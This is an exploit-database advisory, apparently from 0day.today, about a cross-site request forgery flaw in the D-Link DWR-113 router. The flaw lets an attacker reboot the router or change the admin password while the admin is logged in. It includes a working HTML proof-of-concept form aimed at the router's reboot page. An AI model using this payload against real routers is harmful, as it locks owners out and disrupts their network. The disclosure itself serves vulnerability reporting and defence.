Dlink DWR-113 Rev. Ax - CSRF Denial of Service

2014-08-0100:00:00

Blessen Thomas

0day.today

0.005 Low

EPSS

Percentile

76.9%

JSON

It was observed that the D-link DWR-113 wireless router is vulnerable to
denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability.
An attacker could craft a malicious CSRF exploit to change the password in
the password functionality when the user(admin) is logged in to the
application ,as the user interface (admin panel) lacks the csrf token or
nonce to prevent an attacker to change the password.
As a result, as soon as the crafted malicious exploit is executed the
router is rebooted and the user could not login thus forcing to reset the
router’s device physically ,leading to a denial of service condition.

*Restart Router by CSRF*
 
 
 
<html>
 
  <!-- CSRF PoC --->
 
  <body>
 
    <form action="http://192.168.0.1/rebo.htm">
 
      <input type="hidden" name="S00010002" value="test" />
 
      <input type="hidden" name="np2" value="test" />
 
      <input type="hidden" name="N00150004" value="0" />
 
      <input type="hidden" name="N00150001" value="" />
 
      <input type="hidden" name="N00150003" value="1080" />
 
      <input type="hidden" name="_cce" value="0x80150002" />
 
      <input type="hidden" name="_sce" value="%Ssc" />
 
      <input type="submit" value="Submit request" />
 
    </form>
 
  </body>
 
</html>
 
 
 
 
 
Tools used :
 
Mozilla firefox browser v28.0 , Burp proxy free edition v1.5

#  0day.today [2018-02-18]  #

0.005 Low

EPSS

Percentile

76.9%

JSON

Related for 1337DAY-ID-22492